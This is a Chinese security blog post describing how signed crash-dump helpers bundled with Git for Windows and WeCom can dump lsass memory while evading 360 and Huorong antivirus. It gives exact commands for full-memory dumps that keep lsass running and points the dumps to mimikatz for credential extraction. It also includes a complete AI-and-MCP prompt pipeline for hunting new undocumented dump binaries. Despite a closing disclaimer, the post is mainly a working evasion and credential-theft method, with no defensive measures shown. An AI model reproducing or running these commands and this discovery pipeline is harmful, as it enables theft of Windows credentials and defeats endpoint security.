LOLBins ：借崩溃转储白名单程序，绕过 360 核晶 和火绒拿下 lsass

一句话摘要：程序崩溃时，Windows 会派专门的”白名单程序”去转储内存用于分析。那我们能不能借这些厂商白名单工具的壳，干一件”不合法”的 lsass 转储？本文用 AI + MCP 快速筛出两个不在 LOLBAS 收录的可信程序（Git for Windows 与企业微信各一个），并在 360 核晶 + 火绒环境下验证通过。附完整思路与防御建议。

---

一、前言：倦怠与契机

过去很长一段时间，主播都在实习单位”享受生活”。不得不说，现在的实习公司是真的悠闲，氛围也好——安逸到让主播一度陷入了疲懒状态，躺平了挺久，不太想动笔。

说到底是有点”无话可写”。安全圈子里的内容大差不差，翻来覆去总觉得是在搬运别人的东西，写出来没什么增量，自然也就没了动力。

不过，疲懒归疲懒，手上的活其实一直没停过。比如主播自研的 Beacon，能稳定绕过哨兵（Sentinel）和 Elastic 的检测——这也算主播为数不多引以为傲的成果了。只是技术学习确实落下了，回头一算，大概有两周没认认真真研究过一篇技术文章了。

这次研究的起因，是好兄弟遇到了一个真实场景：需要转储（dump）lsass。主播平时疏于学习、才疏学浅，当时也没帮上什么忙（倒是 dump SAM 还有一些手法）。正好今天有空，干脆沉下心好好研究一番。

---

二、LOLBins 与 lsass 转储：先补课

2.1 转储 lsass 的常规套路

转储 lsass 的技术其实已经积累了不少，简单罗列：

• 崩溃转储（Crash Dump）
• MiniDump 系列
• 上驱动（内核层直接读内存）
• ……

奇安信攻防社区有一篇不错的汇总文，值得一读：

奇安信攻防社区 - Windows lsass 转储篇

文中提到的白名单工具主要有这几类：

Procdump.exe
SQLDumper.exe
createdump.exe

其中 Procdump.exe 和 SQLDumper.exe 大家想必已经耳熟能详，是老演员了。这类”白名单程序”在 LOLBAS 收录网站里也能搜到一大堆：

LOLBAS 项目

2.2 一个值得深挖的问题：这些程序为什么会存在？

相比”怎么用”，我更想先问一句：为什么会有这些程序？

答案在崩溃处理机制里。当程序崩溃时，Windows 需要专门的进程来”善后”——把崩溃进程的内存（dmp 文件）转储下来，回传给厂商/开发者分析，定位崩溃原因。

这是 Windows 生态里非常成熟的一套流程，核心就是 Windows 错误报告（WER, Windows Error Reporting）：

1. 程序异常崩溃 → 触发 WER
2. 系统派出专门的处理进程（如 WerFault.exe）接管
3. 按配置把进程内存写入 .dmp 文件
4. 开发者拿回 dmp，用调试器还原现场、修 Bug

所以，在我们的个人电脑上，其实能看到大量这样的 dmp 文件：

2.3 思路落地：把”合法的崩溃处理程序”变成”攻击者”

核心思路到这里就很清晰了：

既然系统本身信任这些专门用来转储崩溃进程内存的程序，那我们为什么不借它们的壳，来完成一次”不合法”的 lsass 转储？

这就是 LOLBins 的本质——借用微软（或各大厂商）自己的白名单工具，干白名单之外的活。因为这些程序自带可信数字签名，被各家杀软、EDR 视为”亲儿子”，天然绕过了大量基于签名的检测。

同理，lsass 作为一个常驻高权限进程，恰好也有被”转储”的价值（里面躺着不少好东西）。一个敢读，一个能读，中间的桥就是这些白名单工具。

---

三、AI 加持：用 MCP 把筛选变成流水线

3.1 为什么需要 AI

海量的白名单程序，一个个手工去翻导入表、查文档、验证利用方式，显然不现实。AI 在这里可以充当一个**非常高效的”快速筛选器”**。

方法很简单：给 AI 一个清晰、聚焦的提示词，再配上 MCP（Model Context Protocol）——让模型直接驱动二进制分析工具，把”加载样本 → 静态分析 → 梳理调用链”这一串动作交给工具链完成，AI 负责推理和汇总。

3.2 提示词原文：把方法论直接写进需求

很多人用 AI 是”随口问一句”，但真正好用的提示词，本身就是一份完整的挖掘方法论。主播当时给的提示词长这样：

【目标】在本机挖掘一个尚未被广泛记录的 LOLBin（exe 或 DLL），它能转储任意进程的内存成 .dmp，
可用来 dump lsass。已知的（SqlDumper / rundll32+comsvcs / werfault / taskmgr / procdump）全部排除。

【核心思路】不靠猜名字，用「特征扫描 → 逆向筛选 → 实测验证」三条流水线，
把「潜在转储程序」从全盘几万文件里筛到 1~3 个。

Phase 1 · 特征扫描（一次性全自动）
- 遍历所有盘符下所有 PE（.exe + .dll + .scr），筛两个硬信号：
  · 信号 A（导入）：导入了 MiniDumpWriteDump（dbghelp.dll）或任何含 dump 字样的 API —— 说明它内部会写 dump
  · 信号 B（导出）：DLL 导出了名字含 dump/dmp/minidump 的函数 —— 说明可被 rundll32 <dll>,<func> 拉起转储（就是 comsvcs.dll 那类）
  · 排除噪声目录（WinSxS / Installer / WindowsApps / Recycle Bin…）
- 产出：候选短名单（几百 → 几十个）

Phase 2 · 逆向筛选（idalib-mcp 逐个加载）
- 对短名单批量 load_binary + 反编译，逐项过三关：
  1. 真的调用 MiniDumpWriteDump / 自带转储逻辑？（不是名字带 dump 的巧合）
  2. 目标进程是外部可控 PID，还是只能 dump 自己？（关键区分点）
  3. 输出路径/文件名可控吗？
- 剔除只能 dump 自身、参数写死、无 SeDebugPrivilege 的
- 产出：锁定 1~3 个「疑似全新」候选

Phase 3 · 实测验证
- 从逆向结果还原调用语法（PID 参数位置、输出路径、所需权限）
- 对 lsass 真实执行转储
- 校验产物：文件头魔数 MDMP (0x504D444D)、大小合理

Phase 4 · 确认"新" + 归档
- 与已知 LOLBin 清单比对，确认未记录过
- 输出报告：二进制路径、调用命令、产物证据（IDA 地址 + dump 文件头）

【交付物】一个全新可用的 dump 型 LOLBin + 完整调用方法 + 逆向/实测证据。

3.3 四阶段流水线是怎么跑的

1. 特征扫描：脚本遍历 4 个盘符、扫了 161,787 个 PE，用三条通道收窄——导入了 MiniDumpWriteDump 等 dump 类 API（说明内部会写 dump）、DLL 导出了名字含 dump/dmp 的函数（说明可被 rundll32 <dll>,<func> 拉起转储，就是 comsvcs.dll 那一类），以及最关键的一条：**MiniDumpWriteDump + OpenProcess + atoi/strtol 三者同现**（命令行可控 PID 的转储器特征）。排除 WinSxS / Installer / WindowsApps 等噪声目录后，全盘 16 万文件筛到候选 6,738 个，其中命中组合信号的仅 276 个。
2. 逆向筛选：短名单用 idalib-mcp 批量 load_binary + 反编译，逐项过三关——是否真的调用 MiniDumpWriteDump、目标 PID 是否外部可控（还是只能 dump 自己）、输出路径/文件名是否可控，再剔除参数写死、无 SeDebugPrivilege 的。
3. 实测验证：从逆向结果还原调用语法（PID 参数位置、输出路径、所需权限），对 lsass 真实转储，校验 dmp 文件头魔数 MDMP（0x504D444D）、大小合理。
4. 确认 + 归档：与已知 LOLBin 清单比对，确认”新”，输出完整报告（二进制路径、调用命令、IDA 地址 + dump 文件头证据）。

---

四、初步产出：minidumper 与 minidump64

因为前面只让 AI 挖掘 1-3 个候选，本来不抱太大期望——没想到还真有收获，最后锁定了两个：Git for Windows 自带的 minidumper.exe 和**企业微信自带的 minidump64.exe**。两个都不在 LOLBAS 官方收录名单里。

4.1 候选一：minidumper.exe —— Git 自带的全内存转储器 🏆

项	值
路径	C:\Program Files\Git\usr\bin\minidumper.exe（Git for Windows 标准安装自带，MSYS2/Cygwin）
签名	Git（MSYS2）/ Cygwin
架构	x64
LOLBAS	未收录（官方清单 241 个去重条目 diff 确认）
用法	minidumper.exe [-t <type>] [-n] <FILENAME> <PID>，产物固定为 <FILENAME>.dmp

两个关键参数直接决定了它的价值：

• -t <type>：转储类型标志，-t 0x2 = MiniDumpWithFullMemory（全内存）——这正是离线提取凭据最需要的形态；-t 0 则是轻量转储，还能组合（如 -t 0x2f）
• -n：不终止目标进程。不加这个参数的话，转储完成会把目标进程直接 Terminate 掉——对”悄悄转储”的场景来说，这参数几乎必须带上

对 lsass（PID 1468）实测全内存转储：

minidumper.exe -n -t 0x2 lsass_gitmd 1468
→ 生成 lsass_gitmd.dmp，70,837,325 字节（约 70MB）
→ 魔数 'MDMP' ✓
→ Flags = 0x220002（含 MiniDumpWithFullMemory=0x2）✓
→ 流目录含 Memory64List（全内存区域）✓
→ dump 前 20MB 内含 'lsass' / 'LSA' 字符串（确为 lsass 内存）✓
→ 转储完成后 lsass 仍存活（PID 1468，-n 生效未杀进程）✓

对 notepad 的全内存转储（86MB）同样验证通过；cmd / PowerShell / Git Bash 里都能调用，相对路径也可以。

一个值得注意的细节：minidumper.exe 内部**并不调用 AdjustTokenPrivileges**，权限完全依赖调用者自身的 token。实测从提权后的管理员会话可以转储 lsass（前提是目标 RunAsPPL=0，lsass 未被 PPL 保护）。

4.2 候选二：minidump64.exe —— 企业微信自带的轻量转储器

项	值
路径	D:\wxwork\WXWork\5.0.6.6018\minidump64.exe（企业微信安装目录）
签名	Tencent Technology (Shenzhen) Company Limited
架构	x64
LOLBAS	未收录
用法	minidump64.exe <PID> <输出路径>（恰好 2 个参数，第二个参数直接就是 dmp 完整路径）

对 lsass 实测转储：

minidump64.exe 1468 C:\...\lsass_md64.dmp
→ 83,398 字节，魔数 'MDMP' ✓
→ Flags = 0x200000，流目录仅 ThreadList / ModuleList / MemoryList（小）

逆向证据（idalib）把它的调用链还原得清清楚楚：

WinMain @0x140001470
  → CommandLineToArgvW（恰好 2 参）
  → argv[0] = PID（wcstol）
  → argv[1] = 输出路径
  → OpenProcess(0x1FFFFF /* PROCESS_ALL_ACCESS */, 0, PID)
  → CreateFileW(CREATE_ALWAYS)
  → MiniDumpWriteDump(hProcess, PID, hFile, 0, 0, 0, 0)

顺带一提：同目录还有一个 x86 版 minidump.exe，代码逻辑完全相同，但本机的 32 位 dump 栈会输出 0 字节（详见第五章”本机特性”），所以 minidump64.exe 才是真正可用的那个。

诚实声明：minidump64.exe 用的是 MiniDumpNormal（轻量转储），不含完整堆内存，不适合直接做凭据提取。它的价值更多在于”能转储任意进程（含 lsass）、签名可信、常驻目标机器”——实用性上不如候选一。

4.3 为什么这两个值得关注

抛开具体实现，这两个程序有共性价值：

• 可信签名：一个 Git/MSYS2、一个腾讯，都是”名声在外”的白名单，签名信任链完整
• 能力匹配：本身就是厂商为崩溃处理/转储打造的，能力天然对口
• 默认存在：装过 Git 的内网、装过企业微信的办公机器上大概率都在，不需要额外投放工具，隐蔽性拉满
• 不在 LOLBAS：主流检测规则与 HIT 列表基本都没覆盖，属于真正的”漏网之鱼”

顺带记录几个”接近成功”的降级候选：Firefox 的 crashhelper.exe（确实调用 MiniDumpWriteDump，但输出句柄需要继承、外部难控制）、飞书的 lark_crashpad.dll（需预先初始化 crashpad 全局 handler）、钉钉的 CrashDumper.exe（INI 驱动，只针对钉钉自身崩溃场景）。它们都在 Phase 2 被筛掉，但说明这类思路的覆盖面比想象中大得多。

---

五、实战验证：两个工具的真实效果

先交代目标环境：

• 权限：管理员高完整性（High IL）
• PPL：RunAsPPL = 0，lsass 无 PPL 保护
• 杀软：360 核晶 +火绒（测试目标环境）

5.1 正控制对照：先证明”环境本身能转储”

严谨起见，先用已知的白名单工具跑一遍正控制——确认这台机器在正常情况下本来就能转储 lsass，否则后面的一切验证都没有意义。

procdump.exe -ma <lsass_PID> procdump_test.dmp
→ procdump_test.dmp = 82MB（全内存，正控制 ✓）

正控制成立，主角上场。

5.2 minidumper.exe：全内存转储，一步到位

minidumper.exe -n -t 0x2 lsass_gitmd 1468
→ lsass_gitmd.dmp = 70,837,325 字节（约 70MB）
→ 魔数 'MDMP' ✓，Flags=0x220002（含 FullMemory）✓
→ dump 内含 lsass / LSA 内存 ✓
→ 转储后 lsass 进程仍存活（-n 生效）✓

70MB 全内存 dmp，可以直接丢给 mimikatz 这类工具做离线凭据提取。

5.3 minidump64.exe：轻量转储，不能做凭据提取

minidump64.exe 1468 C:\...\lsass_md64.dmp
→ 83,398 字节，魔数 'MDMP' ✓（轻量，不含完整堆，不适合凭据提取）

5.4 顺带发现的本机特性：32 位 dump 栈是”坏”的

验证过程中还发现一个值得单独记录的现象：本机的 32 位 dump 栈是失效的——32 位 dbghelp!MiniDumpWriteDump 产物为 0 字节，连 SysWOW64 下的 comsvcs.dll 同样输出 0 字节，而 64 位完全正常。怀疑是有安全产品对 32 位 dbghelp 做了干预。

---

参考资料

1. 奇安信攻防社区 - Windows lsass 转储篇：https://mdr.skyeye.qianxin.com/forum/share/2434
2. LOLBAS 项目：https://lolbas-project.github.io/
3. Windows 错误报告（WER）官方文档：https://learn.microsoft.com/zh-cn/windows/win32/wer/wer-reference

---

写在最后：以上内容仅供安全研究与授权测试学习使用。白名单工具本身无罪，滥用有罪。请勿对未经授权的目标进行任何形式的检测与攻击。